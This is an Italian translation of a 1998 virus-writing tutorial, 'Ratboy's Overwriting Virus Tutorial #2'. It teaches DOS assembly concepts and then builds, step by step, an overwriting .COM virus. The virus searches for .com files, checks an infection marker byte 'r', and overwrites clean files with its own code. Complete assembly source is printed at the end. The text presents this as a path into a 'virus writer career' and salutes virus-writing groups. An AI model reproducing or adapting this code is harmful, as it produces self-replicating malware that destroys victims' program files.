Copy Link
Add to Bookmark
Report
RATBOY S OVER WRITTING VIRUS TUTORIAL #2
Gli ____ _ ___ ___ __ ______ ____20-11-98
/ __/__ (_) _ \/ _ \___ / / ___ /_ __/__ ____/ _/ ASCII
_\ \/ _ \/ / ___/ ___/ _ \/ /_/ _ `// / / _ \/ __// / by
/___/ .__/_/_/ /_/ \___/____|_,_//_/ \___/_/ /___/RigoR Mortem
/_/
Presentano : RATBOY'S OVER WRITTING VIRUS TUTORIAL #2
Tradotto da : Rui Deti(http://members.xoom.com/ruideti/)
/\---/\ RATBOY'S OVER WRITTING VIRUS TUTORIAL #2
( . . )
\ / ATTENZIONE: Le informazioni qui contenute possono inglobare
\ / ^^^^^^^^^^ la vostra mente, il vostro computer e il vostro
\*/ cane. Io non mi assumo nessuna responsabilit‡!!!!
#
Salve a tutti!!!! Considerando i responsi positivi attenuti sul
Ratboy#1 ho deciso di andare avanti con le lezioni sui virus semplici.
Allora, cosa ci riserva questo saggio?Prima spiegherÚ alcuni termini che ci
aiuteranno durante la lettura. Inoltre, ci muoveremo verso Com virus
sovrascriventi pi˘ complessi. Se avete letto e capito Ratboy#1, dovreste gi‡
capire come fare semplici operazioni sui file. Imparerete a leggere dal file
a scriverci, a marcarlo (tag), e molti altri codici utili per aiutarvi nei
vostri prossimi studi sui virus. :) Siiiii!!
Adesso la parte noiosa:
Cos'Ë un JMP (jump,salto)?
Un salto Ë proprio ciÚ che sembra:un salto. Siccome sappiamo che un
un sorgente assembler si legge dall'alto verso il basso, a volte
avremo bisogno di saltare in giro lungo il programma in base alla
situazione che si crea. Ecco un semplice esempio:
call delta_offset
delta_offset:
pop bp
sub bp,delta_offset
jmp restore ;<===questo Ë un salto :)
eat_hd:
"blah"
"blah"
Come potete vedere, nell'esempio, siamo andati oltre eat_hd saltando
tutto quello che c'Ë tra jmp e restore. Una spiegazione veramente
semplice di come funziona un salto...
Un salto, quando Ë compilato dall'Assemblatore,viene convertito in un
salto senza pi˘ l'etichetta cioË in uno "spostamento".In questo modo:
jmp anywhere
In realt‡ significa jmp 45 bytes
Come potete vedere il numero Ë positivo infatti il salto Ë in avanti
(negativo il salto Ë all'indietro). Ma adesso stÚ divagando troppo,
volevo solamenta che capiste che il salto Ë uno "spostamento". Non
parlerÚ di salti condizionati perchË il mio scopo non Ë capire
l'Assembly. So che un sacco di queste cose sono vecchie ma per
favore riscopritele con me. :)
Di recente mi hanno chiesto: cos'Ë una CALL (Chiamata)?
Una chiamata Ë un salto con un indirizzo di ritorno. Quando si f‡
una CALL, l'indirizzo dell'offset della linea successiva Ë inserito
(pushed) nello stack, e viene effettuato un salto alla riga chiamata.
Una volta lÏ si puÚ tornare indietro usando l'istruzione RET. Questo
RET estrae (pop) l'indirizzo della riga di ritorno dallo stack ed
effettua un salto lÏ.
Un semplice esempio:
mov al,02h
call mov_ptr ;<==l'indirizzo della prossima linea (cioË
;eat_hd) Ë inserito nello stack e si
;effettua un verso mov_ptr
eat_hd:
"blah"
"blah"
"blah"
jmp exit ;<==Piccolo esame, Come funziona?
mov_ptr:
"blah"
"blah"
"blah"
ret ;ah..adesso l'indirizzo di ritorno (cioË
;eat_hd) viene estratto dallo stack e vi
;si effettua un salto.
Un'altra domanda, cos'Ë un OFFSET?
Avendo a che fare con file Com la risposta Ë pi˘ facile.Un OFFSET
Ë come un indirizzo. Se sai daove abiti allora capirai anche come
funziona un indirizzo.
Esempio facile facile:
Dove vive Debby?
Oh, all'incrocio tra la 16sima strada e la quinta Avenue
(Questo Ë un esempio di OFFSET)
Di nuovo:
Dove vive Debby?
Oh, vai avanti tre isolati, la terza casa sulla destra.
(questo Ë un esempio di salto, visto lo "spostamento"?)
Un'altra domanda, cos'Ë il LEA?
LEA st‡ per LOAD EFFECTIVE ADDRESS (Indirizzo effettivo di
carticamento). Noo. Troppo tecnico. Ecco come funziona. Ricordate
che, in Ratboy#1, quando cercavate un file, avevate bisogno di
caricare l'offset del tipo di file (*.com) in DX, in questo modo:
mov dx,offset file_type
BË, si puÚ fare anche in questo modo:
lea dx,file_type
Fate pratica e vedete un po' come funziona.
Ok, so che alcuni di voi si sono addormentati, se vi annoiate andate avanti
e leggete le "Dark Angel's" Virus Writing Guides", forse sono alla vostra
velocit‡.
Come posso velocizzare i miei programmi?
Semplice, pensate che la velocit‡ equivalga al minor numero di byte
necessari per portare avanti il lavoro.
Esempi:
mov ax,0 ;3 bytes
sub ax,ax ;2 bytes
PerciÚ immaginate voi qual'Ë il pi˘ veloce. Ho usato Sub ax,ax
perchË non voglio andare a spiegare anche XOR, ma XOR AX,AX f‡ la
stessa cosa. Leggete qualcosa sullo XOR da voi, vi servir‡ pi˘
avanti, nella vostra carriera di virus writer, per il criptaggio.
Il sub si dovrebbe capire pi˘ facilmente:sottrarre un numero a se
stesso d‡ zero.
Ecco un altro modo per mettere quello che c'Ë in AX in BX e
viceversa.
Invece di scrivere:
mov bx,ax ;2 bytes
scrivete:
xchg bx,ax ;1byte
Capito?
Adesso la parte eccitante: facciamo qualcosa di pratico. Sii!!!!!
Ok, nello scorso saggio, se avete creato il virus, avrete visto che questo
infettava solo il primo file nella directory e nessun altro, questo perchË
era estremamente semplice. Questa volta insegneremo alla vostra piccola
forma di vita come determinare se il file Ë gi‡ infettato. Come facevate
a riconoscere la vostra biancheria quando andavate al campeggio estivo?
Vostra madre ci cuciva il nome sopra. Se avete pi˘ di trent'anni e vostra
madre lo f‡ ancora siete dei geek (ma che vuol dire?). Niente scuse, siete
dei Geek.
Ok, abbiamo bisogno di mettere all'interno del file una sorta di marchio,
in modo da poterlo leggere in seguito. Facciamolo in modo semplice, perchË Ë
proprio questo lo scopo del mio tutorial. UserÚ la lettera "r" per RaTBoY.
Inseriremo il "marchio di infezione" giusto dopo il salto.Ecco come dovrebbe
risultare:
virus_start:
jmp find_first
me db 'r'
find_first:
"blah"
"blah"
Lo vedete? Andiamo avanti. per farlo, tutto quello che dovete fare Ë mettere
Me db 'r' all'inizio del virus. Adesso dobbiamo mettere un salto,
per far andare il virus oltre la 'r' e andare a cercare il file da infettare.
Tutto quello che il virus ha bisogno di fare Ë leggere i primi quattro byte
del file, e controllare se il quarto byte (jmp + offset = 3 byte) Ë gi‡
infettato.
Vediamo l'ordine delle operazioni.
(I) Trovare il file
(a) Nessuno file da infettare...EXIT
(II) Aprire il file in lettura.
(III) Leggere i primi quattro byte.
(IV) Chiudere il file.
(V) Confrontare con l' ID-byte (marchio d'infezione)
(a) Se Ë gi‡ infettato:
1. Preparare la ricerca del prossimo file.
2. Andare al passo I
(b) Se non Ë infetto continuare.
(VI) Aprire il file in lettura/scrittura
(VII) Scriversi nel file.
(VIII) Chiudere il file.
(IX) Uscire
Non dovrebbe essere cosÏ difficile creare questo virus. Parte di questo
materiale Ë gi‡ stato visto, se non ricordate alcune cose Ë un'occasione per
rivederle.
-=Step I=-
~~~~~~
Per prima cosa dobbiamo naturalmente trovare il primo file. Ecco gli input
di cui abbiamo bisogno:
ah = 4eh
cx = attributi
dx = Tipo file (per esempio *.com)
int 21h
Se Ë settato l'indicatore di riporto vuol dire che non ci sono file,
se Ë cosÏ:
jc exit ;salta all'uscita se non ci sono file.
Questo argomento Ë gi‡ stato abbondantemente trattato in RatBoy#1.
-=Step II=-
~~~~~~~
Adesso abbiamo bisogno di aprire il file sia in lettura che in scrittura,
ecco gli input:
ax = 3d00h ;Ricordate i valori che assume AL in base
;all'accesso che desiderate:
;al = 00h(sola lettura)
;al = 01h(sola scrittura)
;al = 02h(lettura & scrittura)
dx = Indirizzo dell'offset del nome del file
int 21h
Output:
ax = Handle del file(o codice d'errore..noo non succede)
Vi ricordate dove prendere il nome del file? Certo che lo sapete,
naturalmente nel DTA! Siccome non lo abbiamo toccato, dovrebbe essere allo
indirizzo 80h nel Program Segment Prefix (PSP). Quindi, visto che avete
letto Ratboy#1, dove cerchiamo l'indirizzo del nome del file?Proprio in 9eh.
Ricordate di mettere l'handle del file in BX, dove ci servir‡ pi˘ in l‡.
(Per esempio potete usare xchg bx,ax) Ma ne abbiamo gi‡ parlato in RatBoy#1,
perciÚ andiamo avanti.
-=Step III=-
~~~~~~~~
Adesso viene qualcosa di nuovo. Leggeremo i primi quattro byte del file
vittima, e lo metteremo nel nostro buffer, HOLDN_PLACE. Ecco gli input:
ah = 3fh
bx = Handle del file.
cx = Bytes da leggere.
dx = Offset del buffer (Buffer = il posto in cui mettiamo i bytes
letti)
int 21h
Ecco come il tutto si traduce in codice:
***Ricordate che alla fine del passo due mettiamo l'handle del file in bx***
mov ah,3fh
mov cx,4
lea dx,holdn_place
int 21h
e naturalmente alla fine del virus scriveremo:
holdn_place db ?,?,?,?
-=Step IV=-
~~~~~~~
Chiudere il file. cosÏ possiamo passare all'analisi: se Ë gi‡ infettato
andiamo avanti, altrimenti lo apriamo in lettura e scrittura.
Gli input per la chiusura:
ax = 3eh
int 21h
Abbastanza semplice?
-=Step V=-
~~~~~~
Adesso confronteremo i quattro bytes della possibile vittima con l'id-byte,
(il byte d'identificazione).
cmp byte ptr [holdn_place +3],'r' ;usiamo la 'r', ricordate?
jnz open_it_again ;Se non Ë lo stesso, allora bisogna
;infettare!(cioË salta) altrimenti..
mov ah,4fh ;mettiamo in AH il valore 4fh (trova il
;prossimo file).
Potremmo usare una nuova routine per trovare il prossimo file, ma in questo
caso useremo la stessa usata per trovare il primo file, solo che adesso ah Ë
uguale a 4fh. Se vi ha confuso rileggetevi la procedura.
-=Step VI=-
~~~~~~~
Quindi il file ha passato il test: non era infetto, allora riapriamolo!
Questa volta perÚ ci scriveremo qualcosa dentro. :) Gli input:
ax = 3d02h
dx = offset del nome del file.
int 21h
Andiamo ancora avanti ed ecco come risulta:
mov ax,3d02h
mov dx,9eh ;Posizione del nome del file nel DTA
int 21h
xchg bx,ax ;Ricordate? L'handle deve stare in bx!!
-=Step VII=-
~~~~~~~~
Questa dovrebbe essere storia vecchia per voi, infatti Ë la parte che
distingue uno stupido troian Horse da un com virus.
Gli input:
ah = 40h (non Ë bello?)
cx = numero di bytes da scrivere(dimensione del virus)
bx = Handle del file vittima
dx = indirizzo dell'offset del buffer (inizio del virus)
se non avete familiarit‡ con lo scrivere nei file, aspettate e guardate pi˘
avanti il codice sorgente alla fine del file.
-=Step VIII=-
~~~~~~~~~
Chiude il file....Scusate se Ë sono ripetitivo, ma Ë per farvelo imparare
bene.. Gli input:
ah = 3eh
bx = Handle del file vittima.
-=Step IX=-
~~~~~~~
Uscita. E' facile, no?
int 20h
Okay, basta con la costruzione pezzo per pezzo. Guardiamo il tutto finito:
----------------------------------------------------------------------------
;Ratboy tutorial over writer #2 virus
code segment ;Questa parte dovrebbe essere familiare
assume cs:code,ds:code
org 100h
virus proc near
virus_start:
jmp find_first
db 'r' ;Id-Byte
find_first: ;Mette 4eh in AH per trovare il primo
mov ah,4eh ;file del tipo file_type
find_file:
xor cx,cx ;Azzera cx, ricordate? Lo zero significa
;ricerca per file con attributo 'normal'
lea dx,file_type ;Imposta il tipo di file che stiamo
;cercando, '*.com'
int 21h
jc exit ;Se non c'Ë nessun file v‡ all'uscita.
open_file:
mov ax,3d00h ;Apre il file trovato in lettura.
mov dx,9eh ;Il nome del file Ë nel DTA.
int 21h
xchg bx,ax ;In AX Ë stato messo l'handle del file...
;ma noi ne abbiamo bisogno in BX :)
read_file:
mov ah,3fh ;legge il file
mov cx,4 ;quattro bytes
lea dx,holdn_place ;Ecco dove li mettiamo ;)
int 21h
close_it_up:
mov ah,3eh ;Chiude il file
int 21h
compare:
cmp byte ptr[holdn_place + 3],'r' ;Guarda se c'Ë la 'r'
jnz open_it_up_again ;se non c'Ë --> infettiamo!
mov ah,4fh ;Ok, cerchiamo un'altro file da infettare
jmp find_file ;Ma questa volta ah Ë uguale a 4fh e non a
;4eh.
;E' diverso ma allo stesso tempo uguale.
open_it_up_again:
mov ax,3d02h ;Okey, ne abbiamo uno qui!!
mov dx,9eh ;Prendiamo il nome del file...
int 21h
xchg bx,ax ;Si, di nuovo.
infect:
mov ah,40h
mov cx,offset endvx - offset virus_start
;La fine del virus meno l'inizio d‡ la
;lunghezza del virus. cioË il numero di
;bytes da scrivere.
lea dx,virus_start ;L'inizio del virus, cosÏ sappiamo da dove
;iniziare a scrivere, e bx contiene l'handle
;del file, cioË dove scrivere.
int 21h
close_victum:
mov ah,3eh ;Chiudiamo la vittima.
int 21h
exit: int 20h ;E' tempo di uscire!!
file_type db "*.com",0
holdn_place db ?,?,?,?
endvx label near
virus endp
code ends
end virus_start
Spero davvero che questo tutorial vi sia stato utile. Ricordatevelo se vi
siete annoiati. Adesso sapete abbastanza per scrivere virus sovrascriventi,
e potete iniziare ad avvicinarvi ad altri tipi di virus.
Ricordate che il miglior insegnante Ë la vostra pratica. PerciÚ, se volete
qualcosa di diverso, provatelo! Ma non fatelo nella vostra directory del DOS.
:)
(Inclusi con questo file dovrebbero esserci virus e sorgenti ma non li ho
trovati ... very sorry by Ruideti)
Naturalmente gli usuali ringraziamenti:
-=GOD: I woke up breathing today. :)
-=Mrs. Ratboy: For putting up with me ;)
-=FC: For all the help dude!!!!!!!!!!!!
-=Aristotle: No Aristotle I didn't mean you when I said GOD, but Thanks.
-=M.P.: Love ya software, Invircible.
-=Thanks to these guys and groups: Virogen, Terminal Velocity, NuKE, Falcon,
Vlad, Immortal Riot, P/S, ACVR, and every virus writer I didn't mention!!!
